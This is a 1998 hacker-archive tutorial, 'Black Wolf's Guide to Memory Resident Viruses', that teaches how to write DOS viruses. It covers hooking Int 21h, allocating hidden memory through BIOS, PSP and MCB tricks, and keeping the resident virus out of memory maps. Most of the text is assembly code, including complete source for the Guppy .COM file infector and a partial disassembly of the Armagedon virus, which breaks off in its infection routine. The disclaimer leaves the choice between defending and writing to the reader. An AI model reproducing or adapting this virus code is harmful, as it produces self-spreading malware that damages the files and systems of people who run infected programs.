home *** CD-ROM | disk | FTP | other *** search
/ The Elite Hackers Toolkit / TheEliteHackersToolkitVolume1_1998.rar / HACKERS.BIN / appcraks / MEMRES.ZIP / MEMRES.TUT
Text File  |  1998-03-10  |  58KB  |  1,460 lines

  1. ╔════════════════════════════════════════════════════════════════════════════╗
  2. ║               Black Wolf's Guide to Memory Resident Viruses.               ║
  3. ╚════════════════════════════════════════════════════════════════════════════╝
  4.  
  5. ******************************************************************************
  6. Disclaimer:  This file is for informational purposes only!  It was written 
  7.          to provide an understanding of the methods viruses can use to 
  8.          to protect against viruses and disassemble them as well as to 
  9.          write them.  It is at the possesser's discretion to decide    
  10.          which.  By using this file, the user accepts all responsibilities
  11.          for whatever he or she might do.
  12. ******************************************************************************
  13.  
  14. INTRODUCTION:
  15.     A memory resident program (or TSR for Terminate and Stay Resident)
  16. is a program that leaves at least a portion of itself in memory after it
  17. terminates and waits for a particular even to take place before it 'activates'
  18. again.  With DOS, this generally means that it hooks interrupts (BIOS/DOS
  19. function calls) and waits for a specific keystroke, I/O command, time, etc.
  20. While this can be useful in many types of programs, it is especially important
  21. in viral programming.  A virus that remains in memory can spread faster and
  22. protect itself through 'stealth' abilities that non-resident viruses cannot
  23. have.  This text will take you through several methods of memory resident 
  24. programming for viruses, assuming a decent level of competency in 8086/8088
  25. assembly language.
  26.  
  27. BASICS:
  28.     For starters, we need to know what a program has to do to go 
  29. memory resident.  This can be summed up in 3 basic steps:
  30.  
  31.     1.) Allocate some memory that will NOT be deallocated after the      
  32.         virus terminates.  This is necessary so that the virus will not  
  33.         be overwritten.                                                  
  34.                                         
  35.     2.) Copy the virus to the allocated memory.                          
  36.                                         
  37.     3.) Set up a method in which the virus will eventually be activated, 
  38.         generally by hooking BIOS or DOS interrupts.                     
  39.  
  40. OVERVIEW OF INTERRUPTS:
  41.     The first thing that we need to know is how interrupts work.  
  42. Interrupts are mainly BIOS and DOS subroutines (functions) that can be 
  43. called by a program (example: Int 21h is the main file I/O interrupt).  
  44. To use them, all one has to do is set up the registers for the desired purpose
  45. and execute an INT XX, where XX is the interrupt number between 1 and 255.
  46. What the computer does first when it hits this instruction is push all of the
  47. flags (PUSHF), then it consults a table at the bottom of memory and executes
  48. a far call to the address of the appropriate interrupt.  When the interrupt
  49. is done, it returns to the program by executing an IRET (interrupt return), 
  50. which is a combination of a RETF and a POPF.  To set the interrupt, then,
  51. merely takes changing that table.  If you want to return to the original
  52. handler after your code runs, however, you must also save the old values
  53. and jump there when your code is done.  This is absolutely neccessary with
  54. handlers like INT 21h, for otherwise nothing that DOS does through this will
  55. get done, and the computer will crash.
  56.  
  57. THE INTERRUPT TABLE:
  58.     The Interrupt Table is a table of addresses for the interrupt handler
  59. code of each interrupt.  It is located at 0000:0000 and ends at 0000:0400.
  60. Each entry is 4 bytes long, consisting of a word long pointer to the offset
  61. of the handler followed by a word pointer to the segment of the handler.  This
  62. setup allows you to calculate the address of an interrupt address by taking the
  63. entry number and multiplying it by 4.  For example, the Int 21h address 
  64. (the major DOS Interrupt) is located at 0000:0084 (21h*4).  There is a space
  65. at the end of the interrupt table allocated for user programs to set up their
  66. own interrupts and for later expansion.  This is basically the upper half,
  67. starting at 0000:0200.  On my system at least, this is generally free up until
  68. about 0000:03A0 or so, leaving 1A0h bytes for you to use if you want for 
  69. whatever.  This will be look into in more depth later on.....
  70.  
  71. HOOKING INTERRUPTS:
  72.     There are two basic ways to hook interrupts.  The first, using DOS,
  73. is done with Int 21h, functions 35h (Get Interrupt Address) and 25h (Set Int).
  74. First what you want to do is call Int 21h with the following setup:
  75.     
  76.     AH = 35h (Get Interrupt Vector)
  77.     AL = Interrupt Number
  78.  
  79. It returns the following:
  80.  
  81.     AX = Unchanged
  82.     ES = Interrupt Handler Segment
  83.     BX = Interrupt Handler Offset
  84.  
  85.     What you want to do then is store the ES:BX address so that it can
  86. be used later, and then set the interrupt to point to your handler.  To do
  87. this call Int 21h again as follows:
  88.  
  89.     AH = 25h (Set Interrupt Vector)
  90.     AL = Interrupt Number
  91.     DS = New Handler Segment
  92.     DX = New Handler Offset
  93.  
  94. Now that your interrupt is set, you have to do something with it.  Here
  95. is a basic model for an interrupt hooker with a handler that returns control
  96. to the original handler after it is done:
  97.  
  98. ;────────────────────────────────────────────────────────────────────────────
  99. ;Assume that DS = CS as in a .COM file.
  100.  
  101. Get_Interrupt_Address:
  102.     mov     ax,3521h        ;Get Old Int 21h Address
  103.     int     21h
  104.  
  105.     mov     word ptr [Int_21_Segment],es    ;Save old address
  106.     mov     word ptr [Int_21_Offset],bx
  107.  
  108. Set_Interrupt_Address:
  109.     mov     ax,2521h
  110.     mov     dx,offset Int_21_Handler        ;DS:DX = Int_21_Handler
  111.     int     21h                             ;Set the new handler
  112.  
  113. ;*********** Continue on with program, exit, whatever
  114.  
  115. Int_21_Handler:
  116.     cmp     ah,4bh                          ;Check for activation 
  117.     je      execute_a_program               ;conditions by looking
  118.     cmp     ah,3dh                          ;at the function numbers
  119.     je      open_a_file                     ;of Int 21 that you wish
  120.                         ;to intercept.  Make sure
  121.                         ;to save any registers that
  122.                         ;you change inside the 
  123.                         ;various handlers!!!!!!
  124. Go_Int_21:
  125.     db      0eah                            ;This simulates a far jump
  126. Int_21_Offset   dw      0                       ;to the old interrupt handler.
  127. Int_21_Segment  dw      0                       ;(0EAh is code for a far jmp.)
  128. ;────────────────────────────────────────────────────────────────────────────
  129.  
  130.     Notice the trick in Go_Int_21 with the 0EAh.  What that does is 
  131. simulate a far jump to the old handler once your handler is done.  A couple of
  132. other things that one must do when an interrupt is hooked are as follows:
  133.     
  134.     1.) Make sure to push/pop any registers that get changed!!!!!  
  135.         Otherwise the results are unpredictable.
  136.  
  137.     2.) Make sure that your interrupt handler does not call the function
  138.         that is has hooked directly.  I.E. if you hook Int 21h, function
  139.         3dh to open files, do not put an Int 21h, function 3dh inside
  140.         the handler for it, as it will call the handler again, and again,
  141.         and again......   Instead, call the interrupt indirectly by
  142.         calling the ORIGINAL address with code like the following:
  143.  
  144.     Call_Int_21h:
  145.         pushf                           ;push the flags and perform
  146.         call dword ptr [Int_21_Offset]  ;a far call to simulate an 
  147.                         ;INT call.
  148.  
  149. ALTERNATIVE METHOD:                        
  150.     The other way to hook interrupts is by directly changing the table.
  151. This can be done very easily, but you MUST remember to disable the interrupts
  152. before doing so, then enable them afterwords.  Otherwise, the interrupt could
  153. possibly be called when only half of the address was set, creating unpredictable
  154. results.  See the following example:
  155.  
  156. ;────────────────────────────────────────────────────────────────────────────
  157. Set_DS_to_Table:                        ;DS = 0
  158.     xor     ax,ax
  159.     mov     ds,ax
  160.  
  161. Hook_Int_21:
  162.     mov     ax,offset Int_21_Handler        ;ax = Handler Offset
  163.     mov     bx,cs                           ;bx = Handler Segment
  164.  
  165.     cli                                     ;clear interrupts
  166.     xchg    ax,word ptr ds:[84h]            ;Set AX = Old handler offset
  167.                         ;and set new offset.
  168.     xchg    bx,word ptr ds:[86h]            ;Set BX = Old handler segment
  169.                         ;and set new segment.
  170.     mov     word ptr cs:[Int_21_Offset],ax
  171.     mov     word ptr cs:[Int_21_Segment],bx
  172.     sti                                     ;restore interrupts
  173.  
  174.     push    cs
  175.     pop     ds                              ;restore DS = CS
  176. ;────────────────────────────────────────────────────────────────────────────
  177.  
  178. ALLOCATING MEMORY:
  179.     Okay, now that we know exactly how interrupts work, let's take a look
  180. at some ways to allocate memory for the virus.  What we need is a space large
  181. enough for our virus to fit in and work that will not be deallocated after
  182. an infected program is terminated.  There are several ways in which to do this.
  183. One can use Int 27h as a regular program would, but this would cause the
  184. entire program to halt, alerting any user with a brain that something is wrong.
  185. One can, however, make a virus that either re-executes the host so that the
  186. termination is not seen (as Armageddon the Greek does) or one can make it
  187. only go TSR the first time (duh) and allow the program to execute fine 
  188. afterwards (like Guppy and Little Brother do).  The methods for these are
  189. pretty simple and can be gained by examining the disassemblies of Guppy and
  190. Armageddon included with this file.
  191.  
  192. BLANK SPACES:
  193.     The next simple method to go memory resident is to find a blank area
  194. in memory that will NOT be used and use it.  For really small virii, one
  195. can use the top half of the interrupt table (mentioned earlier) in the
  196. manner that the Micro-128 virus does (see disassembly).  Other locations,
  197. such as video memory (0b000/0b800) can be used as well if one keeps it on an
  198. unused page (risky, but 0b900 will work for a while....).  Leapfrog, for 
  199. instance, stores itself in one of DOS's disk buffers.  The only code for
  200. this is to copy the virus to the unused memory and make sure to point
  201. the handler to the NEW copy.
  202.  
  203. BOOT SECTORS:
  204.     One slight variation on this is the code that boot sector viruses 
  205. such as Stoned and Michelangelo use to allocate memory.  Before DOS has
  206. booted (and even later, as we will talk about later) BIOS stores the 
  207. amount of usable lower memory in a word located at 0:413h in memory.  This
  208. word contains the number of usable K, starting at 0000:0000 and ending (at
  209. the highest) at A000:0000.  One can reserve space for a virus by subtracting
  210. the number by the number of K needed (round up).  Then, to find the segment
  211. address, multiply the new value by 64 (40h) to convert it into paragraphs.
  212. This is your free area.  Copy the virus to here, then set the interrupts
  213. to point to its handlers.  When DOS boots it will reserve this area as 
  214. allocated and CHKDSK will return 1K less low memory (assuming you use 1K).
  215. Here is an example of this technique:
  216.  
  217. ;────────────────────────────────────────────────────────────────────────────
  218. Get_Current_Amount:
  219.     xor     ax,ax
  220.     mov     ds,ax
  221.     mov     ax,word ptr ds:[413h]           ;ax = memory in K
  222.  
  223. Reserve_Memory:
  224.     dec     ax
  225.     mov     word ptr ds:[413h],ax           ;lower memory by 1K
  226.     
  227. Calculate_Free_Segment:
  228.     mov     cl,06
  229.     shl     ax,cl                           ;AX = AX * 64 
  230.     mov     es,ax                           ;ES:0 is now the beginning
  231.                         ;of free memory.
  232. ;────────────────────────────────────────────────────────────────────────────
  233.  
  234. DOS MEMORY STRUCTURES:        
  235.     Unfortunately, the last method only works before DOS is loaded.  While
  236. this is great for bootsector and multi-partite viruses, it doesn't work very
  237. well for file-oriented viruses that load under DOS.  For these, we need to
  238. know more about the memory structures that DOS uses, namely the Memory
  239. Control Blocks (MCB's) and the Program Segment Prefix (PSP).
  240.  
  241. PSP AND MCB's:
  242.     When a file is loaded to be executed under DOS, DOS first takes 
  243. the memory it will allocate to the file and starts it with a 16 byte header
  244. called a Memory Control Block.  This header tells DOS the owner of the 
  245. block of memory, the size of the block, and whether it is the last in a chain
  246. of MCB's or not.  DOS the loads a 256 byte table called the Program Segment
  247. Prefix directly after the MCB.  The PSP is basically a table of information
  248. for DOS book-keeping, including the location of the top of usable memory
  249. by DOS.  This also holds the default DTA, FCB's, and command lines for programs
  250. Directly after the PSP, DOS loads the program to be run.  If it is a .COM file,
  251. it will be loaded and run where CS:0 = the beginning of the PSP, making the
  252. beginning of the file start at an offset of 100h.  If it is an .EXE file, the
  253. beginning of the file will be loaded at CS:0, where CS is 10h higher than the
  254. PSP's segment.  This is important to remember when trying to modify the PSP
  255. from a program.  The MCB, as said above, is 10h lower in memory than the
  256. PSP, or one segment lower.  Full tables of each structure are shown below.
  257.  
  258. The format of a Memory Control Block is as follows:
  259. ╔═══════════════════════════════════════════════════════════════════════════╗
  260. ║                          Memory Control Blocks                            ║
  261. ╠═══════════════════════════════════════════════════════════════════════════╣
  262. ║ Offset  Name                 Length (Bytes)        Description            ║
  263. ║                                                                           ║
  264. ║  0      Location             1                  M=Last Block, Z=Not Last  ║
  265. ║  1      Owner                2                  Segment of start of Memory║
  266. ║  3      Size                 2                  Length in Paragraphs      ║
  267. ║  5      Unknown              3                  Supposedly Reserved       ║
  268. ║  8      Owner's Name         8                  Name.  Appears in mem maps║
  269. ╚═══════════════════════════════════════════════════════════════════════════╝
  270.  
  271. The format of DOS's Program Segment Prefix is as follows:
  272. ╔═══════════════════════════════════════════════════════════════════════════╗
  273. ║                          Program Segment Prefix                           ║
  274. ╠═══════════════════════════════════════════════════════════════════════════╣
  275. ║ Offset  Name                 Length (Hex Bytes)    Description            ║
  276. ║                                                                           ║
  277. ║ 00      Terminate            2                     CD20 (Int 20)          ║
  278. ║ 02      Top of Memory        2                     Usually set at A000.   ║
  279. ║ --                                                 Sometimes needed to    ║
  280. ║ --                                                 lower DOS's memory for ║
  281. ║ --                                                 a virus.               ║
  282. ║ 04      Unknown              1                     Supposedly Reserved.   ║
  283. ║ 05      CPM stuff            5                     Obsolete               ║
  284. ║ 0A      Exit to DOS          4                     Int 22h handler (IP:CS)║
  285. ║ 0E      Control C Handler    4                     Int 23h handler (IP:CS)║
  286. ║ 12      Critical Error       4                     Int 24h handler (IP:CS)║
  287. ║ 16      Parent ID            2                     Segment of Parent Prog.║
  288. ║ 18      Handle Table         14                    One byte/handle        ║
  289. ║ 2C      Environment Segment  2                     Segment of Envir. Vars.║
  290. ║ 2E      User Stack           4                     Stack address          ║
  291. ║ 32      File Handle Count    2                     Size of Handle Table   ║
  292. ║ 34      Handle Table Address 4                     If not at 12h          ║
  293. ║ 38      Unknown              1c                    Supposedly Reserved    ║
  294. ║ 50      Dos Call and RET     3                     INT 21, RET            ║
  295. ║ 53      Unknown              9                     Supposedly Reserved    ║
  296. ║ 5C      FCB 1                10                    File Control Block     ║
  297. ║ 6C      FCB 2                10                    ""                     ║
  298. ║ 7C      Unknown              4                     Reserved               ║
  299. ║ 80      Command Line Length  1                     Also used as the       ║
  300. ║ 81      Command Line         7f                    default DTA.           ║
  301. ╚═══════════════════════════════════════════════════════════════════════════╝
  302.  
  303.     Using this information, there are two basic ways to go memory resident.
  304. The first is to tell DOS that its top of memory is one or two K less, lowering
  305. the MCB memory to correspond, then lowering the BIOS memory as shown before.
  306. This method allows the virus to go memory resident using a small amount
  307. of code, and it prevents it from showing up on MEM's list of memory holders.
  308. Unfortunately, a decrease in lower memory is quite obvious using programs
  309. like CHKDSK and MEM.  The other method is to create another memory block than
  310. the host's, setting the owner to either itself or, most commonly, COMMAND.COM.
  311. This can be done either using DOS memory functions, as most viruses do, or
  312. it can be done directly by manipulating the MCB's themselves.
  313.  
  314. BIOS/PSP METHOD:
  315.     The first and simplest method is to lower DOS's top of memory field
  316. in the PSP, shrink the file's MCB, and lower the memory allocated to DOS by
  317. BIOS.  The end result of this is an area at the top of low memory that is
  318. unallocated and can be used. One of the disadvantages of this is that the
  319. size of the block MUST be allocated in chunks of 1K because the BIOS memory
  320. field stores size in 1K blocks.  This method is quite similair to that used
  321. in the bootsector example above.  See the example below:
  322.  
  323. ;────────────────────────────────────────────────────────────────────────────
  324. ;This example assumes .COM file structure where DS = CS = PSP.
  325.  
  326. Get_And_Lower_Top_Of_Memory:
  327.     mov     ax,word ptr ds:[02]             ;Get Top of Memory (PSP)
  328.     sub     ax,40h                          ;Lower it by 1K (40h paragraphs)
  329.     mov     word ptr ds:[02],ax             ;And Replace Value.
  330.  
  331. Get_MCB_Segment:        
  332.     mov     ax,ds                           ;AX = CS = DS
  333.     dec     ax                              ;Get Segment of MCB
  334.     mov     ds,ax                           ;And put into DS
  335.  
  336. Shrink_Block:        
  337.     sub     word ptr ds:[03],40h            ;Subtract 1K from host's MCB 
  338.                         ;allocation (paragraphs)
  339. Allocate_From_Bios:        
  340.     xor     ax,ax
  341.     mov     ds,ax                           ;DS = 0
  342.     dec     word ptr ds:[413h]              ;Allocate 1K from Bios
  343.  
  344. Find_Free_Segment:
  345.     mov     ax,word ptr ds:[413h]           ;Get memory in 1K
  346.     mov     cl,6
  347.     shl     ax,cl                           ;change to segment (multiply
  348.                         ;by 64 or 40h)
  349.                         
  350.                         ;AX now equals free segment
  351.                         ;of memory
  352.     
  353.     mov     es,ax                           ;Set ES = Free Segment
  354. ;────────────────────────────────────────────────────────────────────────────
  355. ALLOCATING WITH DOS:
  356.     Using DOS to allocate memory for you is often the method of choice
  357. for virus writers.  To do this, first find the maximum block size avaliable
  358. by calling INT 21h, function 4Ah (Modify Memory Allocation) with the requested
  359. memory (In paragraphs) set to 0ffffh.  Since this is impossible, it will 
  360. return a carry flag and put the maximum size in BX.  Subtract this amount
  361. by the number of paragraphs that you want (+1 for safety) and then execute
  362. another function 4Ah with the new value for BX.  This will shrink the block
  363. and give you enough space for the virus at the top of memory.  Allocate memory
  364. for the virus using Int 21h, function 48h (Allocate Memory) with BX set
  365. to the number of paragraphs you want (no +1 this time).  This will return
  366. the segment of free memory in AX.  All that is left now is to mark the new
  367. block as the last in the chain by setting the first byte in its MCB to 'Z',
  368. and change its owner.  The owner is usually a word value corresponding to the
  369. program's PSP (MCB Seg+1).  This will work, or you can set it to a reserved 
  370. value like 08 (I/O).  After this is done, if you want, you can set the 
  371. owner's name field starting at MCB_SEG:0008 to any eight byte or smaller name.
  372. This name will appear in memory mapping programs such as MEM and SI.
  373. ;────────────────────────────────────────────────────────────────────────────
  374. Get_Maximum_Memory:
  375.     mov  ah,4ah                                     
  376.     mov  bx,0ffffh                                   ;Request too much 
  377.     int  21h                                         ;memory - maximum size
  378.                              ;returned in BX.
  379. Subtract_Needed_Memory:
  380.     sub     bx,((end_vir-start_vir+0fh)/10h)*2+1     ;Shrink Block by
  381.                              ;(virsize*2)+1
  382.  
  383. Shrink_Block:                                            ;BX = Paragraphs 
  384.     mov     ah,4ah                                   ;     Requested 
  385.     int     21h                                      ;ES = Segment of Block
  386.  
  387. Allocate_Memory:        
  388.     mov     ah,48h
  389.     mov     bx,((end_vir-start_vir+0fh)/10h)*2       ;Allocate (virsize*2)
  390.     int     21h                                      ;Returns AX = Free Seg
  391.  
  392. Point_ES_to_New_MCB:
  393.     dec     ax
  394.     mov     es,ax
  395.     inc     ax
  396.  
  397. Set_As_Last_Block:        
  398.     mov     byte ptr es:[0],'Z'                      ;Mark as last 
  399.                              ;in chain
  400. Set_Owner:                                                
  401. ;Note: The number in the Owner field is usually the segment of the program's
  402. ;      PSP.  Certain values, however, have special meanings.  08, for example,
  403. ;      indicates I/O or Command.COM as the owner.  This can be useful for
  404. ;      deceptions.  The only requirement of this is that the owner will NOT
  405. ;      be deallocated.
  406.     
  407.     mov     word ptr es:[1],ax                       ;Set owner as itself.
  408.                              
  409. Set_Name:                                               
  410. ;Note: This is not necessary, but it can be used for many purposes.        
  411.     
  412.     mov     di,08                                   ;ES:DI = owner name
  413.                             ;DOS 4+
  414.     mov     si,offset virname
  415.     push    cs
  416.     pop     ds
  417.     mov     cx,4    
  418.     repnz   movsw           ;Copy name into field.
  419.                 ;This will show up in programs like MEM and
  420.                 ;System Information.
  421.  
  422.  
  423.     .............           ;Continue program, hook interrupts, etc.
  424.  
  425. virname         db      'reMEMber'
  426. ;────────────────────────────────────────────────────────────────────────────
  427.  
  428. DIRECT MANIPULATION:
  429.     Direct Manipulation is basically the same in the end result as 
  430. DOS manipulation, but the steps are executed (obviously) completely 
  431. differently.  One advantage of this method is that one can determine whether
  432. or not to allow DOS to display the block the virus is in (see notes in code).
  433. Since the steps are basically the same, see the code for how each is done.
  434. ;────────────────────────────────────────────────────────────────────────────
  435. Get_Maximum_Memory:
  436.     mov     ax,ds
  437.     dec     ax
  438.     mov     ds,ax                                   ;DS = MCB
  439.     mov     bx,word ptr ds:[03]                     ;Get Block Size
  440.  
  441. Subtract_Needed_Memory:
  442.     sub     bx,((end_vir-start_vir+0fh)/10h)*2+1     ;Shrink Block by
  443.                              ;(virsize*2)+1
  444. Shrink_Block:
  445.     mov     word ptr ds:[03h],bx                    ;Lower Block Size
  446.  
  447. ;────────────────────────────────────────────────────────────────────────────        
  448. ;Note:  If you want your program to show up in a memory map, set this byte
  449. ;       to 'M', meaning that it is NOT the last block.  Otherwise, set it
  450. ;       to 'Z' so that MEM and like programs will not trace past it.
  451. ;────────────────────────────────────────────────────────────────────────────
  452.     mov     byte ptr ds:[0],'M'                     ;Mark host block's
  453.                             ;location in chain.
  454.  
  455. Lower_Top_Of_Memory:                                    ;Lower field in PSP
  456.     sub     word ptr ds:[12h],((end_vir-start_vir+0fh)/10h)*2+1
  457.  
  458. Point_ES_to_New_MCB:                                     ;Get New top of mem 
  459.     mov     ax,word ptr ds:[12]                      ;from PSP.
  460.     mov     es,ax                                    ;ES = new segment.
  461.  
  462. Set_As_Last_Block:        
  463.     mov     byte ptr es:[0],'Z'                      ;Mark as last 
  464.                              ;in chain
  465. Set_Owner:                                                
  466.     mov     word ptr es:[1],ax                       ;Set owner as itself.
  467. ;────────────────────────────────────────────────────────────────────────────
  468.  
  469. SELF RECOGNITION:
  470.     One thing that a virus must do to remain unnoticed to any degree is
  471. to recognize if it has already been installed so that it does not continue
  472. to re-install itself, taking up more and more memory.  The simplest way to
  473. do this is to hook an interrupt and check for a certain unique value, or 
  474. an installation check, and return another unique value if one is received to
  475. tell the executing virus that it is already in memory.  For example, one
  476. can hook INT 21h and wait for AX to be equalled to DEADh on entry.  In such a 
  477. case, one could save the value and IRET.  If the virus is not installed, the
  478. result will be AX = DE00.  The executing virus would then check to see if the 
  479. value was correct and, if so, return control to the host without re-installing
  480. itself.
  481.  
  482. See the code below:
  483.  
  484. ;────────────────────────────────────────────────────────────────────────────
  485. Install_Check:
  486.     mov     ax,0deadh               
  487.     int     21h                     ;Is it installed?
  488.     cmp     ax,0deadh               
  489.     je      Already_Installed       ;Yes? jump to Already_Installed
  490. Install:                                ;otherwise install it.
  491.     ..........
  492.  
  493. Int_21_Handler:
  494.     cmp     ah,4bh
  495.     je      execute
  496.     cmp     ah,3dh
  497.     je      open
  498.     cmp     ax,0deadh               ;Is it an install check?
  499.     je      Install_Check           ;Yes, jump to Install_Check.
  500. Go_Int_21:
  501.         db      0ea
  502. Int_21_IP       dw      0
  503. Int_21_CS       dw      0
  504.  
  505. Install_Check:                          ;Save value in AX
  506.     iret
  507. ;────────────────────────────────────────────────────────────────────────────
  508.  
  509. COPYING THE VIRUS:
  510.     One point that has been more or left out up until now is how to copy
  511. the virus.  The simplest (and the only REAL way) is to set ES:DI to the newly
  512. allocated space, DS:SI to the start of the virus, and CX to the length of the
  513. virus in words (or bytes if you wish to use movsb).  Then execute a REPNZ
  514. MOVSW and you've got it.  Note: When using Int 27, this is uneccessary because
  515. it puts the program into memory at it's original location.
  516.  
  517.  
  518. ;***************************************************************************
  519. ;*                          The Guppy Virus                                *
  520. ;***************************************************************************
  521. ;*      The Guppy virus is a relatively simple, very small, resident .COM  *
  522. ;*infector.  It uses the standard way for a regular program to go resident *
  523. ;*(i.e. Int 27) which makes the infected program terminate the first time  *
  524. ;*run.  After that, however, infected files will run perfectly.  This virus*
  525. ;*uses interesting methods to restore the storage bytes, as well as a      *
  526. ;*strange technique to restore control to an infected file after it has    *
  527. ;*already gone memory resident.                                            *
  528. ;*                                                                         *
  529. ;*Note: The Guppy virus was originally assembled with an assembler other   *
  530. ;*      than Tasm, so to keep it exactly the same some commands must be    *
  531. ;*      entered directly as individual bytes.  In these cases, the command * 
  532. ;*      is commented out and the bytes are found below it.                 *
  533. ;*                                                                         *
  534. ;***************************************************************************
  535.  
  536. .model tiny                
  537. .radix 16
  538. .code
  539.  
  540.         org     100h
  541. start:
  542.         call    Get_Offset
  543.   
  544. Get_Offset:
  545.         pop     si                 ;SI = offset of vir + 
  546.                        ;(Get_Offset-Start)
  547.         mov     ax,3521h
  548.         mov     bx,ax
  549.         int     21h                ;Get Int 21 Address
  550.                
  551.         mov     ds:[si+Int_21_Offset-103],bx      ;Save old Int 21 
  552.         mov     ds:[si+Int_21_Segment-103],es      
  553.         
  554.         ;mov     dx,si             ;Bytes vary between assemblers     
  555.         db      89,0f2
  556.         
  557.         ;add     dx,offset Int_21_Handler-104
  558.         db      83,0c2,1f
  559.  
  560.         mov     ah,25h
  561.         int     21h                ;Set Int 21
  562.                         
  563.         inc     dh                 ;Add 100h bytes to go resident
  564.                        ;from handler
  565.         push    cs              
  566.         pop     es
  567.         int     27h                ;Terminate & stay resident
  568.                        ;DX+1 = end of area to go res.
  569.  
  570.  
  571. Int_21_Handler:                
  572.         cmp     ax,4B00h           ;Is call a Load & Execute?
  573.         je      Infect             ;Yes? Jump Infect
  574.         
  575.         cmp     al,21h             ;Might it be a residency check? 
  576.         jne     Go_Int_21          ;No? Restore control to Int 21     
  577.         
  578.         ;cmp     ax,bx             ;Are AX and BX the same?
  579.         db      39,0d8
  580.  
  581.         jne     Go_Int_21          ;No, Restore control to Int 21
  582.  
  583.         push    word ptr [si+3dh]  ;3dh = offset of Storage_Bytes -  
  584.                        ;Get_Offset
  585.  
  586.                        ;This gets the first word of 
  587.                        ;storage bytes, which is then 
  588.                        ;popped to CS:100 to restore it.
  589.                         
  590.         mov     bx,offset ds:[100] ;100 = Beginning of COM
  591.         pop     word ptr [bx]      
  592.  
  593.         mov     cl,[si+3Fh]        ;Restore third storage byte.
  594.         mov     [bx+2],cl
  595.  
  596. Restore_Control:                
  597.         pop     cx
  598.         push    bx
  599.         iret                            ;Jump back to Host program.
  600.         
  601. Storage_Bytes         db      0, 0, 0
  602.  
  603. Infect:
  604.         push    ax
  605.         push    bx
  606.         push    dx
  607.         push    ds
  608.         mov     ax,3D02h
  609.         int     21h             ;Open File for Read/Write Access
  610.                       
  611.         xchg    ax,bx
  612.         call    Get_Offset_Two
  613.  
  614. Get_Offset_Two:
  615.         pop     si
  616.         push    cs
  617.         pop     ds
  618.         mov     ah,3F
  619.         mov     cx,3
  620.         sub     si,10           ;Set SI=Storage_Bytes
  621.         
  622.         ;mov     dx,si
  623.         db      89,0f2
  624.  
  625.         int     21h             ;Read first 3 bytes of file
  626.                        
  627.         cmp     byte ptr [si],0E9h      ;Is the first command a jump?
  628.         jne     Close_File                   ;No? Jump to Close_File
  629.         mov     ax,4202h
  630.         xor     dx,dx
  631.         xor     cx,cx
  632.         int     21h                     ;Go to end of file
  633.                         
  634.         xchg    ax,di
  635.         mov     ah,40h                  
  636.         mov     cl,98h                  ;Virus Size
  637.  
  638.         ;mov     dx,si
  639.         db      89,0f2
  640.         
  641.         sub     dx,40h                  ;Beginning of virus
  642.         int     21h                     ;Append virus to new host
  643.                         
  644.         mov     ax,4200h
  645.         xor     cx,cx
  646.         xor     dx,dx
  647.         int     21h                     ;Go back to beginning of file
  648.                 
  649.         mov     cl,3
  650.         
  651.         ;sub     di,cx
  652.         db      29,0cf
  653.  
  654.         mov     [si+1],di
  655.         mov     ah,40h
  656.         
  657.         ;mov     dx,si
  658.         db      89,0f2
  659.         
  660.         int     21h                     ;Write 3 byte jump to file
  661.                         
  662. Close_File:
  663.         mov     ah,3Eh
  664.         int     21h
  665.                 
  666.         pop     ds
  667.         pop     dx
  668.         pop     bx
  669.         pop     ax
  670. Go_Int_21:
  671.         db      0EAh                    ;Go On With Int 21
  672. Int_21_Offset   dw      ?
  673. Int_21_Segment  dw      ?
  674.  
  675. end     start
  676. ;**************************************************************************
  677.  
  678.  
  679.  
  680. ;***************************************************************************
  681. ;*                           The Armagedon Virus                           *
  682. ;*                                                                         *
  683. ;*Dial is controlled off of the new INT 08 handler when virus goes TSR.    *
  684. ;*Examine the way the virus goes memory resident using INT 27, this is an  *
  685. ;*interesting method that I had not seen before in a virus.  Also, look    *
  686. ;*at its rather strange procedure for infecting files.                     *
  687. ;*                                                                         *
  688. ;*                         Disassembly by Black Wolf                       *
  689. ;*                                                                         *
  690. ;* (The 911 virus is directly related to this one, as the only differences *  
  691. ;*         are in the numbers dialed and the text messages)                *
  692. ;***************************************************************************
  693. .model tiny                             ;Sets assembler into Tiny mode
  694. .radix 16                               ;Sets numbers to hexidecimal
  695. .code
  696.     org     100
  697.  
  698. ;**************************************************************************
  699. ;*                             Loading Jump                               *
  700. ;**************************************************************************
  701. start:
  702.         jmp     Virus_Entry
  703.  
  704. ;**************************************************************************
  705.  
  706.  
  707. ;**************************************************************************
  708. ;*              This is where the infected file would usually be.         *
  709. ;**************************************************************************
  710. ;**************************************************************************
  711.  
  712.  
  713. ;**************************************************************************
  714. ;*                              Int 21 Handler                            *
  715. ;**************************************************************************
  716. Int_21:
  717.         pushf
  718.         cmp     ah,0E0          ;Is this an installation check?
  719.         jne     not_check       ;If not, go to not_check
  720.         mov     ax,0DADA        ;If so, return 0DADA
  721.         popf                    ;and exit interrupt.
  722.         iret
  723.   
  724. not_check:
  725.         cmp     ah,0E1          ;0E1=request for virus' seg. address
  726.         jne     not_seg_req     ;Not E1? then go to not_seg_req
  727.         mov     ax,cs           ;Move virus' address into AX
  728.         popf                    ;and exit interrupt.
  729.         iret
  730. not_seg_req:
  731.         cmp     ax,4B00         ;Load and Execute?
  732.         je      Infect          ;Go Infect
  733. Go_Int_21:
  734.         popf
  735.  
  736. ;               jmp     dword ptr cs:[Int_21_Off]  
  737.         db      2e,0ff,2e,22,01            ;Jump to Int 21 (done)
  738. ;**************************************************************************
  739.  
  740.  
  741. ;****************************************************************************
  742. ;*                             Main Data Section                            *
  743. ;****************************************************************************
  744. Int_21_Off      dw      138dh
  745. Int_21_Seg      dw      029a
  746.  
  747. Int_08_Off      dw      022Bh
  748. Int_08_Seg      dw      70
  749.  
  750. Ready_Byte              db      0
  751. Timing_Counter          db      8
  752. save_time_a             db      10
  753. save_time_b             db      9
  754. save_date               db      34
  755. Bytes_Written           dw      0
  756. waste_byte              db      0
  757. Character_Count         db      0
  758. Data_Ready              db      0
  759. Ports_Initialized       db      0 
  760.  
  761. com             db      'COM'
  762. handle          dw      5
  763. file_size       dw      2
  764.         db      0, 0
  765. mem_allocated   dw      1301
  766. save_ss         dw      12AC
  767. save_sp         dw      0FFFE
  768. filename_seg    dw      9B70
  769. filename_off    dw      3D5Bh
  770. attribs         dw      20
  771. file_date       dw      0EC2
  772. file_time       dw      6E68
  773.         db       0,0,81,0
  774. cs_save_3       dw      12AC
  775.         db       5C,0
  776. cs_save_1       dw      12AC
  777.         db       6C,0
  778. cs_save_2       dw      12AC
  779. ;****************************************************************************
  780.  
  781. Infect:
  782.         push    ds bx si cx ax dx bp es di  ;Save Registers
